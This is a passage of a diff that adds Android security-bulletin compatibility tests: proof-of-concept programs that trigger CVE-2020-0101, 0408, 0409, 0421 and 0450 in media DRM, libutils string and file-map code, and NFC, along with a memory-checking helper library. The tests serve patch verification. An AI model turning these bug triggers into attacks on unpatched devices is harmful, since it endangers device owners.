+LOCAL_SHARED_LIBRARIES += libutils
+LOCAL_SHARED_LIBRARIES += libmediadrm
+
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -Wno-unused-parameter
+LOCAL_CFLAGS += -DCHECK_UNINITIALIZED_MEMORY -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp
new file mode 100644
index 0000000..3f79838
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0101/poc.cpp
@@ -0,0 +1,106 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#include <binder/IServiceManager.h>
+#include <binder/IBinder.h>
+#include <binder/Parcel.h>
+#include <media/ICrypto.h>
+
+#include "../includes/memutils_track.h"
+#include "../includes/common.h"
+
+char enable_selective_overload = ENABLE_NONE;
+using namespace android;
+
+constexpr uint8_t kUint32Len = sizeof(uint32_t);
+constexpr uint8_t kUuidSize = 16;
+constexpr uint8_t kSizeToTrack = 10;
+constexpr uint8_t kCreatePluginEnumValue = 3;
+
+bool is_tracking_required(size_t size) {
+ return (size == kSizeToTrack);
+}
+
+struct MyCryptoHal : public BnCrypto {
+ MyCryptoHal() = default;
+ ~MyCryptoHal() = default;
+
+ status_t initCheck() const {
+ return OK;
+ }
+
+ bool isCryptoSchemeSupported(const uint8_t uuid[16]) {
+ return false;
+ }
+
+ status_t createPlugin(const uint8_t uuid[16], const void *data, size_t size) {
+ if (is_memory_uninitialized()) {
+ return EXIT_VULNERABLE;
+ }
+ return OK;
+ }
+
+ status_t destroyPlugin() {
+ return OK;
+ }
+
+ bool requiresSecureDecoderComponent(const char *mime) const {
+ return false;
+ }
+
+ void notifyResolution(uint32_t width, uint32_t height) {
+ }
+
+ status_t setMediaDrmSession(const Vector<uint8_t> &sessionId) {
+ return OK;
+ }
+
+ virtual ssize_t decrypt(const uint8_t key[16], const uint8_t iv[16],
+ CryptoPlugin::Mode mode,
+ const CryptoPlugin::Pattern &pattern,
+ const ICrypto::SourceBuffer &source, size_t offset,
+ const CryptoPlugin::SubSample *subSamples,
+ size_t numSubSamples,
+ const ICrypto::DestinationBuffer &destination,
+ AString *errorDetailMsg) {
+ return 0;
+ }
+
+ virtual int32_t setHeap(const sp<IMemoryHeap> &heap) {
+ return 0;
+ }
+
+ void unsetHeap(int32_t seqNum) {
+ }
+
+ private:
+ DISALLOW_EVIL_CONSTRUCTORS (MyCryptoHal);
+};
+
+int main() {
+ Parcel data, reply;
+ sp < IBinder > crypto = new MyCryptoHal;
+ uint8_t parcelData[kUuidSize + kUint32Len] = { 0xcc };
+
+ memcpy(parcelData + kUuidSize, &kSizeToTrack, kUint32Len);
+ data.writeInterfaceToken(String16("android.hardware.ICrypto"));
+ data.write(parcelData, kUuidSize + kUint32Len);
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ crypto->transact(kCreatePluginEnumValue, data, &reply);
+ enable_selective_overload = ENABLE_NONE;
+
+ return reply.readInt32();
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk
new file mode 100644
index 0000000..2da1a2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0408
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES:= libutils
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
new file mode 100644
index 0000000..dcccd2e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0408/poc.cpp
@@ -0,0 +1,31 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "utils/String16.h"
+
+int main(void) {
+ android::String16 str{u"hello world"};
+ android::String16 substr{u"hello"};
+ const size_t begin = substr.size();
+ const size_t len = std::numeric_limits<size_t>::max();
+ if (str.remove(len, begin) != android::OK) {
+ return EXIT_FAILURE;
+ }
+ if (strcmp16(str, substr) != 0) {
+ return EXIT_FAILURE;
+ }
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
new file mode 100644
index 0000000..44ea5cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0409
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES := system/core/libutils/include/
+LOCAL_C_INCLUDES += system/core/base/include/
+LOCAL_SHARED_LIBRARIES := libutils
+LOCAL_SHARED_LIBRARIES += libbase
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
+
diff --git a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
similarity index 62%
copy from hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
copy to hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
index 5ee3aeb..5a6f6a8 100644
--- a/hostsidetests/appsecurity/test-apps/UsePermissionApp22/src/com/android/cts/usepermission/AutoClosingActivity.java
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0409/poc.cpp
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2018 The Android Open Source Project
+ * Copyright 2020 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -14,16 +14,16 @@
* limitations under the License.
*/
-package com.android.cts.usepermission;
+#include "android-base/test_utils.h"
+#include "utils/FileMap.h"
-import android.app.Activity;
-import android.os.Bundle;
+#define FILE_NAME "test"
+#define FILE_OFFSET 200
+#define FILE_LENGTH SIZE_MAX
-public class AutoClosingActivity extends Activity {
- @Override
- protected void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
-
- finish();
- }
+int main() {
+ TemporaryFile tf;
+ android::FileMap fm;
+ fm.create(FILE_NAME, tf.fd, FILE_OFFSET, FILE_LENGTH, true);
+ return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk
new file mode 100644
index 0000000..fa66b41
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/Android.mk
@@ -0,0 +1,31 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0421
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_SHARED_LIBRARIES := libutils
+
+# Tag this module as a cts/sts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
new file mode 100644
index 0000000..09e7f60
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0421/poc.cpp
@@ -0,0 +1,51 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <dlfcn.h>
+
+#include "utils/String8.h"
+
+#define VULNERABLE_STRING "Q0bRTMaNUg"
+
+typedef int (*vsnprintf_t)(char *const, size_t, const char *, va_list);
+
+static vsnprintf_t fptr = nullptr;
+
+// For CVE-2020-0421 to be reproducible, the vsnprintf has to return a negative
+// value. This negative value is added to size_t resulting in runtime error.
+// Getting vsnprintf to return -1 is tricky. The issue produced in fuzzer was
+// due to the call str1.appendFormat("%S", "string"). Using wide char string
+// format specifier for regular string is not a reliable way to produce the
+// issue. As from N1570, "If any argument is not the correct type for the
+// corresponding conversion specification or If there are insufficient arguments
+// for the format, the printf behavior is undefined." The below intercepting
+// function offers a simple way to return negative value.
+int vsnprintf(char *const dest, size_t size, const char *format, va_list ap) {
+ if (!strcmp(format, VULNERABLE_STRING)) {
+ return -1;
+ }
+ return (*fptr)(dest, size, format, ap);
+}
+
+int main(void) {
+ fptr = reinterpret_cast<vsnprintf_t>(dlsym(RTLD_NEXT, "vsnprintf"));
+ if (!fptr) {
+ return EXIT_FAILURE;
+ }
+ android::String8 str1{VULNERABLE_STRING};
+ str1.appendFormat(VULNERABLE_STRING);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk
new file mode 100644
index 0000000..d373f93
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/Android.mk
@@ -0,0 +1,37 @@
+# Copyright (C) 2020 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+# http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+include $(CLEAR_VARS)
+
+LOCAL_MODULE := CVE-2020-0450
+LOCAL_SRC_FILES := poc.cpp
+LOCAL_SRC_FILES += ../includes/memutils.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+LOCAL_C_INCLUDES_64 := system/nfc/src/nfc/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/include/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/common/
+LOCAL_C_INCLUDES_64 += system/nfc/src/gki/ulinux/
+LOCAL_C_INCLUDES_64 += system/nfc/src/nfa/include/
+LOCAL_SHARED_LIBRARIES_64 := libnfc-nci
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts sts vts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+LOCAL_CFLAGS := -Wall -Werror -DCHECK_OVERFLOW -DENABLE_SELECTIVE_OVERLOADING
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
new file mode 100644
index 0000000..ab877aa
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0450/poc.cpp
@@ -0,0 +1,191 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <stdlib.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+char enable_selective_overload = ENABLE_NONE;
+bool kIsVulnerable = false;
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include <dlfcn.h>
+#include <nfc_api.h>
+#include <nfc_int.h>
+#include <rw_int.h>
+#include <tags_defs.h>
+#define DEFAULT_VALUE 0xBE
+#define RW_I93_FORMAT_DATA_LEN 8
+
+// borrowed from rw_i93.cc
+extern tRW_CB rw_cb;
+extern tNFC_CB nfc_cb;
+void rw_init(void);
+tNFC_STATUS rw_i93_select(uint8_t* p_uid);
+
+bool kIsInitialized = false;
+void* kVulnPtr = nullptr;
+uint16_t kVulnSize = 0;
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_STATE_NOT_ACTIVATED, /* ISO15693 is not activated */
+ RW_I93_STATE_IDLE, /* waiting for upper layer API */
+ RW_I93_STATE_BUSY, /* waiting for response from tag */
+
+ RW_I93_STATE_DETECT_NDEF, /* performing NDEF detection precedure */
+ RW_I93_STATE_READ_NDEF, /* performing read NDEF procedure */
+ RW_I93_STATE_UPDATE_NDEF, /* performing update NDEF procedure */
+ RW_I93_STATE_FORMAT, /* performing format procedure */
+ RW_I93_STATE_SET_READ_ONLY, /* performing set read-only procedure */
+
+ RW_I93_STATE_PRESENCE_CHECK /* checking presence of tag */
+};
+
+// borrowed from rw_i93.cc
+enum {
+ RW_I93_SUBSTATE_WAIT_UID, /* waiting for response of inventory */
+ RW_I93_SUBSTATE_WAIT_SYS_INFO, /* waiting for response of get sys info */
+ RW_I93_SUBSTATE_WAIT_CC, /* waiting for reading CC */
+ RW_I93_SUBSTATE_SEARCH_NDEF_TLV, /* searching NDEF TLV */
+ RW_I93_SUBSTATE_CHECK_LOCK_STATUS, /* check if any NDEF TLV is locked */
+
+ RW_I93_SUBSTATE_RESET_LEN, /* set length to 0 to update NDEF TLV */
+ RW_I93_SUBSTATE_WRITE_NDEF, /* writing NDEF and Terminator TLV */
+ RW_I93_SUBSTATE_UPDATE_LEN, /* set length into NDEF TLV */
+
+ RW_I93_SUBSTATE_WAIT_RESET_DSFID_AFI, /* reset DSFID and AFI */
+ RW_I93_SUBSTATE_CHECK_READ_ONLY, /* check if any block is locked */
+ RW_I93_SUBSTATE_WRITE_CC_NDEF_TLV, /* write CC and empty NDEF/Terminator TLV
+ */
+
+ RW_I93_SUBSTATE_WAIT_UPDATE_CC, /* updating CC as read-only */
+ RW_I93_SUBSTATE_LOCK_NDEF_TLV, /* lock blocks of NDEF TLV */
+ RW_I93_SUBSTATE_WAIT_LOCK_CC /* lock block of CC */
+};
+
+static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(uint16_t block_number,
+ uint8_t* p_data) = nullptr;
+
+static void* (*real_GKI_getbuf)(uint16_t size) = nullptr;
+static void (*real_GKI_freebuf)(void* ptr) = nullptr;
+
+void init(void) {
+ real_rw_i93_send_cmd_write_single_block = (tNFC_STATUS(*)(uint16_t, uint8_t*))dlsym(
+ RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
+ if (!real_rw_i93_send_cmd_write_single_block) {
+ return;
+ }
+
+ real_GKI_getbuf = (void* (*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
+ if (!real_GKI_getbuf) {
+ return;
+ }
+
+ real_GKI_freebuf = (void (*)(void*))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
+ if (!real_GKI_freebuf) {
+ return;
+ }
+
+ kIsInitialized = true;
+}
+
+void* GKI_getbuf(uint16_t size) {
+ if (!kIsInitialized) {
+ init();
+ }
+ void* ptr = nullptr;
+ if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
+ ptr = malloc(size);
+ memset(ptr, DEFAULT_VALUE, size);
+ kVulnPtr = ptr;
+ kVulnSize = size;
+ } else {
+ ptr = real_GKI_getbuf(size);
+ }
+ return ptr;
+}
+
+void GKI_freebuf(void* ptr) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (ptr == kVulnPtr) {
+ free(ptr);
+ } else {
+ real_GKI_freebuf(ptr);
+ }
+}
+
+size_t rw_i93_send_cmd_write_single_block(uint16_t block_number, uint8_t* p_data) {
+ if (!kIsInitialized) {
+ init();
+ }
+ if (p_data == kVulnPtr) {
+ for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
+ if (p_data[n] == DEFAULT_VALUE) {
+ kIsVulnerable = true;
+ break;
+ }
+ }
+ }
+ return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
+}
+
+#endif /* _64_BIT */
+
+int main() {
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ enable_selective_overload = ENABLE_ALL;
+ tRW_I93_CB* p_i93 = &rw_cb.tcb.i93;
+
+ GKI_init();
+ rw_init();
+
+ uint8_t p_uid = 1;
+ if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
+ return EXIT_FAILURE;
+ }
+
+ tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ tNFC_CONN_EVT event = NFC_DATA_CEVT;
+ p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;
+
+ tNFC_CONN* p_data = (tNFC_CONN*)malloc(sizeof(tNFC_CONN));
+ if (!p_data) {
+ return EXIT_FAILURE;
+ }
+
+ p_data->data.p_data = (NFC_HDR*)GKI_getbuf(sizeof(uint8_t) * 16);
+ if (!(p_data->data.p_data)) {
+ free(p_data);
+ return EXIT_FAILURE;
+ }
+
+ (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
+ p_i93->state = RW_I93_STATE_FORMAT;
+ p_i93->block_size = 7;
+ p_data->status = NFC_STATUS_OK;
+
+ p_cb->p_cback(0, event, p_data);
+
+ free(p_data);
+ enable_selective_overload = ENABLE_NONE;
+#endif /* _64_BIT */
+ return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/common.h b/hostsidetests/securitybulletin/securityPatch/includes/common.h
index 6800dc9..7082b07 100644
--- a/hostsidetests/securitybulletin/securityPatch/includes/common.h
+++ b/hostsidetests/securitybulletin/securityPatch/includes/common.h
@@ -23,14 +23,24 @@
// exit status code
#define EXIT_VULNERABLE 113
+#define FAIL_CHECK(condition) \
+ if (!(condition)) { \
+ fprintf(stderr, "Check failed:\n\t" #condition "\n\tLine: %d\n", \
+ __LINE__); \
+ exit(EXIT_FAILURE); \
+ }
+
+#define _32_BIT UINTPTR_MAX == UINT32_MAX
+#define _64_BIT UINTPTR_MAX == UINT64_MAX
+
time_t start_timer(void);
int timer_active(time_t timer_started);
-time_t start_timer(){
+inline time_t start_timer(){
return time(NULL);
}
-int timer_active(time_t timer_started){
+inline int timer_active(time_t timer_started){
return time(NULL) < (timer_started + MAX_TEST_DURATION);
}
diff --git a/hostsidetests/securitybulletin/securityPatch/includes/memutils.c b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
new file mode 100644
index 0000000..65e1e90
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/includes/memutils.c
@@ -0,0 +1,262 @@
+/**
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <sys/mman.h>
+#include <stdlib.h>
+#include <dlfcn.h>
+#include <string.h>
+#include <unistd.h>
+#include <signal.h>
+#include "memutils.h"
+
+void exit_handler(void) {
+ size_t page_size = getpagesize();
+ for (int i = 0; i < s_mem_map_index; i++) {
+ if (NULL != s_mem_map[i].start_ptr) {
+ ENABLE_MEM_ACCESS(s_mem_map[i].start_ptr,
+ (s_mem_map[i].num_pages * page_size));
+ }
+ }
+#ifdef CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE
+ for (int i = 0; i < MAX_ENTRIES; i++) {
+ if (NULL != s_free_list[i].start_ptr) {
+ ENABLE_MEM_ACCESS(s_free_list[i].start_ptr,
+ (s_free_list[i].num_pages * page_size));
+ real_free(s_free_list[i].start_ptr);
+ memset(&s_free_list[i], 0, sizeof(map_struct_t));
+ }
+ }
+#endif /* CHECK_USE_AFTER_FREE_WITH_WINDOW_SIZE */
+}
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ exit_handler();
+ (*old_sa.sa_sigaction)(signum, info, context);
+}
+
+void sighandler_init(void) {
+ sigemptyset(&new_sa.sa_mask);
+ new_sa.sa_flags = SA_SIGINFO;
+ new_sa.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_sa, &old_sa);
+}
+
+void memutils_init(void) {
+ real_memalign = dlsym(RTLD_NEXT, "memalign");
+ if (NULL == real_memalign) {
+ return;
+ }
+#ifndef DISABLE_MALLOC_OVERLOADING
+ real_calloc = dlsym(RTLD_NEXT, "calloc");
+ if (NULL == real_calloc) {
+ return;
+ }
+ real_malloc = dlsym(RTLD_NEXT, "malloc");
+ if (NULL == real_malloc) {
+ return;
+ }
+ real_realloc = dlsym(RTLD_NEXT, "realloc");
+ if (NULL == real_realloc) {
+ return;
+ }
+#endif /* DISABLE_MALLOC_OVERLOADING */
+ real_free = dlsym(RTLD_NEXT, "free");
+ if (NULL == real_free) {
+ return;
+ }
+ memset(&s_mem_map, 0, MAX_ENTRIES * sizeof(map_struct_t));
+ sighandler_init();
+ atexit(exit_handler);
+ s_memutils_initialized = 1;
+}
+
+void *memalign(size_t alignment, size_t size) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MEMALIGN_CHECK) != ENABLE_MEMALIGN_CHECK) {
+ return real_memalign(alignment, size);
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+ char* start_ptr;
+ char* mem_ptr;
+ size_t total_size;
+ size_t aligned_size = size;
+ size_t num_pages;
+ size_t page_size = getpagesize();
+
+ if (s_mem_map_index == MAX_ENTRIES) {
+ return real_memalign(alignment, size);
+ }
+
+ if (alignment > page_size) {
+ return real_memalign(alignment, size);
+ }
+
+ if ((0 == page_size) || (0 == alignment) || (0 == size)) {
+ return real_memalign(alignment, size);
+ }
+#ifdef CHECK_OVERFLOW
+ /* User specified alignment is not respected and is overridden by
+ * MINIMUM_ALIGNMENT. This is required to catch OOB read when read offset
+ * is less than user specified alignment. "MINIMUM_ALIGNMENT" helps to
+ * avoid bus errors due to non-aligned memory. */
+ if (0 != (size % MINIMUM_ALIGNMENT)) {
+ aligned_size = size + (MINIMUM_ALIGNMENT - (size % MINIMUM_ALIGNMENT));
+ }
+#endif
+
+ if (0 != (aligned_size % page_size)) {
+ num_pages = (aligned_size / page_size) + 2;
+ } else {
+ num_pages = (aligned_size / page_size) + 1;
+ }
+
+ total_size = (num_pages * page_size);
+ start_ptr = (char *) real_memalign(page_size, total_size);
+#ifdef CHECK_OVERFLOW
+ mem_ptr = (char *) start_ptr + ((num_pages - 1) * page_size) - aligned_size;
+ DISABLE_MEM_ACCESS((start_ptr + ((num_pages - 1) * page_size)), page_size);
+#endif /* CHECK_OVERFLOW */
+#ifdef CHECK_UNDERFLOW
+ mem_ptr = (char *) start_ptr + page_size;
+ DISABLE_MEM_ACCESS(start_ptr, page_size);
+#endif /* CHECK_UNDERFLOW */
+ s_mem_map[s_mem_map_index].start_ptr = start_ptr;
+ s_mem_map[s_mem_map_index].mem_ptr = mem_ptr;
+ s_mem_map[s_mem_map_index].num_pages = num_pages;
+ s_mem_map[s_mem_map_index].mem_size = size;
+ s_mem_map_index++;
+ memset(mem_ptr, INITIAL_VAL, size);
+ return mem_ptr;
+}
+
+#ifndef DISABLE_MALLOC_OVERLOADING
+void *malloc(size_t size) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_MALLOC_CHECK) != ENABLE_MALLOC_CHECK) {
+ return real_malloc(size);
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+ return memalign(MINIMUM_ALIGNMENT, size);
+}
+
+void *calloc(size_t nitems, size_t size) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_CALLOC_CHECK) != ENABLE_CALLOC_CHECK) {
+ return real_calloc(nitems, size);
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+ void *ptr = memalign(sizeof(size_t), (nitems * size));
+ if (ptr)
+ memset(ptr, 0, (nitems * size));
+ return ptr;
+}
+
+void *realloc(void *ptr, size_t size) {
+ if (s_memutils_initialized == 0) {
+ memutils_init();
+ }
+#ifdef ENABLE_SELECTIVE_OVERLOADING
+ if ((enable_selective_overload & ENABLE_REALLOC_CHECK) != ENABLE_REALLOC_CHECK) {
+ return real_realloc(ptr, size);
+ }
+#endif /* ENABLE_SELECTIVE_OVERLOADING */
+ if (ptr != NULL) {
+ int i = 0;
+ for (i = 0; i < s_mem_map_index; i++) {
+ if (ptr == s_mem_map[i].mem_ptr) {
+ void* temp = malloc(size);
+ if (temp == NULL) {
+ return NULL;
+ }
+ if (s_mem_map[i].mem_size > size) {
+ memcpy(temp, ptr, size);
+ } else {
+ memcpy(temp, ptr, s_mem_map[i].mem_size);
+ }
+ free(s_mem_map[i].mem_ptr);
+ return temp;
+ }
+ }
+ }
+ return real_realloc(ptr, size);
+}
+#endif /* DISABLE_MALLOC_OVERLOADING */
+
+void free(void *ptr) {
